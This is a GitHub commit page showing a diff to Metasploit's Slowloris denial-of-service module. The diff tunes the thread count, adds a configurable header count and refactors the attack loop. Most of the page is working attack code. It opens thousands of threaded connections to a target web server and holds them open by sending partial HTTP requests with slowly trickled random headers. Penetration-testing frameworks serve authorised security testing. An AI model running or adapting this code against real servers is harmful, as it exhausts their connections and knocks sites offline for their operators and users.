Skip to content

Commit b7bc68c

Browse files
DanielRTeixeiramkienow-r7
authored andcommitted
Update slow_loris.rb
1 parent fbb9e9d commit b7bc68c

File tree

1 file changed

+13
-14
lines changed

1 file changed

+13
-14
lines changed

modules/auxiliary/dos/http/slow_loris.rb

Lines changed: 13 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -11,8 +11,8 @@ def initialize(info = {})
1111
super(update_info(
1212
info,
1313
'Name' => 'Slow Loris DoS',
14-
'Description' => %q{Slowloris tries to keep many connections to the target web server open and hold them open as long as possible.
15-
It accomplishes this by opening connections to the target web server and sending a partial request.
14+
'Description' => %q{Slowloris tries to keep many connections to the target web server open and hold them open as long as possible.
15+
It accomplishes this by opening connections to the target web server and sending a partial request.
1616
Periodically, it will send subsequent requests, adding to but never completing the request.},
1717
'License' => MSF_LICENSE,
1818
'Author' =>
@@ -31,34 +31,33 @@ def initialize(info = {})
3131
register_options(
3232
[
3333
Opt::RPORT(80),
34-
OptInt.new('THREADS', [true, 'The number of concurrent threads', 5000]),
35-
OptInt.new('TIMEOUT', [true, 'The maximum time in seconds to wait for each request to finish', 60])
34+
OptInt.new('THREADS', [true, 'The number of concurrent threads', 1000]),
35+
OptInt.new('HEADERS', [true, 'The number of custom headers sent by each thread', 10])
3636
])
3737
end
3838

3939
def thread_count
4040
datastore['THREADS']
4141
end
4242

43-
def timeout
44-
datastore['TIMEOUT']
43+
def headers
44+
datastore['HEADERS']
4545
end
4646

4747
def run
4848
starting_thread = 1
4949
header = "GET / HTTP/1.1\r\n"
5050
threads = []
51-
while true do
52-
53-
ubound = [thread_count].min
54-
print_status("Executing requests #{starting_thread} - #{(starting_thread + ubound) - 1}...")
55-
56-
1.upto(ubound) do |i|
51+
52+
loop do
53+
print_status("Executing requests #{starting_thread} - #{(starting_thread + [thread_count].min) - 1}...")
54+
55+
1.upto([thread_count].min) do |i|
5756
threads << framework.threads.spawn("Module(#{self.refname})-request#{(starting_thread - 1) + i}", false, i) do |i|
5857
begin
5958
connect()
6059
sock.puts(header)
61-
10.times do
60+
headers.times do
6261
data = "X-a-#{rand(0..1000)}: b\r\n"
6362
sock.puts(data)
6463
sleep rand(1..15)
@@ -67,7 +66,7 @@ def run
6766
end
6867
end
6968
threads.each(&:join)
70-
starting_thread += ubound
69+
starting_thread += [thread_count].min
7170
end
7271
end
7372
end

0 commit comments

Comments
 (0)